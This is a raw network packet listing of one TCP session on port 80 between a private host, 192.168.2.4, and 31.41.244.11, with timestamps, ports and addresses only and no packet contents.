Dec 20, 2024 09:12:13.069209099 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.069257021 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.070111036 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.070163965 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.070260048 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.070312977 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.071082115 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.071216106 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.071271896 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.072096109 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.072213888 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.072268009 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.073057890 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.073113918 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.073168039 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.074033022 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.074088097 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.074090004 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.074745893 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.075011015 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.075061083 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.075122118 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.075171947 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.076004982 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.076055050 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.076064110 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.076107025 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.076956034 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.077008963 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.217685938 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.218086004 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.218110085 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.218142986 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.218151093 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.218185902 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.218204021 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.219033003 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.219191074 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.219234943 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.220022917 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.220079899 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.220132113 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.220550060 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.221009970 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.221062899 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.221143007 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.221226931 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.221992970 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.222038984 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.222134113 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.222181082 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.222995996 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.223061085 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.223114014 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.223159075 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.223968029 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.224030972 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.224078894 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.224123955 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.224953890 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.225013018 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.225040913 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.225066900 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.226385117 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.226589918 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.226658106 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.226957083 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.227063894 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.227108955 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.227942944 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.227983952 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.228023052 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.228256941 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.228877068 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.228987932 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.229039907 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.229986906 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.230047941 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.230101109 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.230151892 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.230882883 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.230963945 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.231031895 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.231076002 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.231879950 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.231925964 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.231975079 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.232022047 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.232812881 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.232939005 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.232995033 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.233824015 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.233871937 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.234112024 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.234188080 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.234831095 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.234875917 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.234935045 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.234993935 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.235761881 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.235866070 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.235918999 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.236762047 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.236928940 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.236984968 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.237720966 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.237838984 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.237878084 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.238706112 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.238828897 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.238886118 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.239742041 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.239790916 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.239857912 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.239907980 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.240816116 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.240942001 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.240963936 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.240992069 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.241667986 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.241715908 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.241781950 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.241853952 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.242674112 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.242749929 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.242759943 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.242819071 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.243644953 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.243755102 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.243798971 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.244638920 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.244801044 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.244863033 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.245610952 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.245721102 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.245726109 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.246594906 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.246640921 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.246697903 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.246886969 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.247654915 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.247781992 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.247832060 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.248637915 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.248682976 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.249027967 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.249073982 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.249608040 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.249658108 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.249701023 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.250035048 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.250544071 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.250679016 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.250726938 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.251538038 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.251585960 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.251684904 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.251815081 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.252532005 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.252579927 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.252620935 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.252655029 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.253487110 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.253598928 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.253642082 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.254458904 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.254590034 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.254638910 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.255453110 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.255496025 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.255608082 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.255651951 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.256423950 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.256467104 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.256551981 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.256592035 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.257419109 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.257462025 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.257514954 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.257561922 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.258434057 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.258477926 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.258574963 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.258619070 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.259396076 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.259443045 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.259495974 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.259538889 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.260370970 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.260415077 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.260484934 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.260525942 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.261421919 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.261465073 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.261502981 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.261544943 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.262335062 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.262378931 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.262459040 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.262504101 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.263344049 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.263390064 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.263438940 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.263480902 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.264326096 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.264364958 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.264430046 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.264472961 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.265299082 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.265341997 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.265410900 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.265449047 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.266288042 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.266380072 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.266407967 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.266448021 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.267294884 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.267343044 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.267395020 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.267438889 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.268248081 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.268292904 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.268382072 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.268425941 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.269187927 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.269232035 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.410377979 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.410434008 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.410514116 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.410557985 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.411055088 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.411072969 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.411094904 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.411111116 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.411353111 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.411397934 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.411483049 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.411530018 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.414186001 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.414254904 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.414436102 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.414491892 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.415270090 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.415327072 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.415445089 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.415481091 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.415498972 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.415518045 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.415529966 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.415565014 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.415797949 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.415848970 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.415961981 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.416013956 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.416817904 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.416867971 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.416981936 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.417032957 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.417769909 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.417820930 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.417918921 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.417970896 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.418752909 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.418790102 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.418804884 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.418838978 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.419598103 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.419650078 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.419758081 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.419811010 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.420752048 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.420788050 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.420809031 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.420839071 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.421757936 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.421792030 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.421802998 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.421844006 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.422646999 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.422692060 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.422807932 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.422858953 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.423775911 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.423810005 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.423823118 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.423857927 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.424490929 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.424525023 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.424541950 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.424566984 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.425673008 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.425731897 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.425816059 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.425860882 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.426719904 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.426767111 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.426870108 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.426930904 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.427678108 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.427726030 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.427843094 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.427891016 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.428618908 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.428656101 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.428669930 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.428705931 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.429595947 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.429642916 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.429728985 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.429776907 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.430576086 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.430612087 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.430629015 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.430653095 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.431637049 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.431673050 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.431694984 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.431714058 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.432419062 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.432476044 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.432574987 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.432627916 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.433511019 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.433558941 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.433697939 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.433749914 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.434447050 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.434495926 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.434613943 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.434678078 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.435412884 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.435465097 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.435563087 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.435668945 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.436537027 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.436573982 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.436585903 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.436615944 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:13.437434912 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:13.437479973 CET	49759	80	192.168.2.4	31.41.244.11
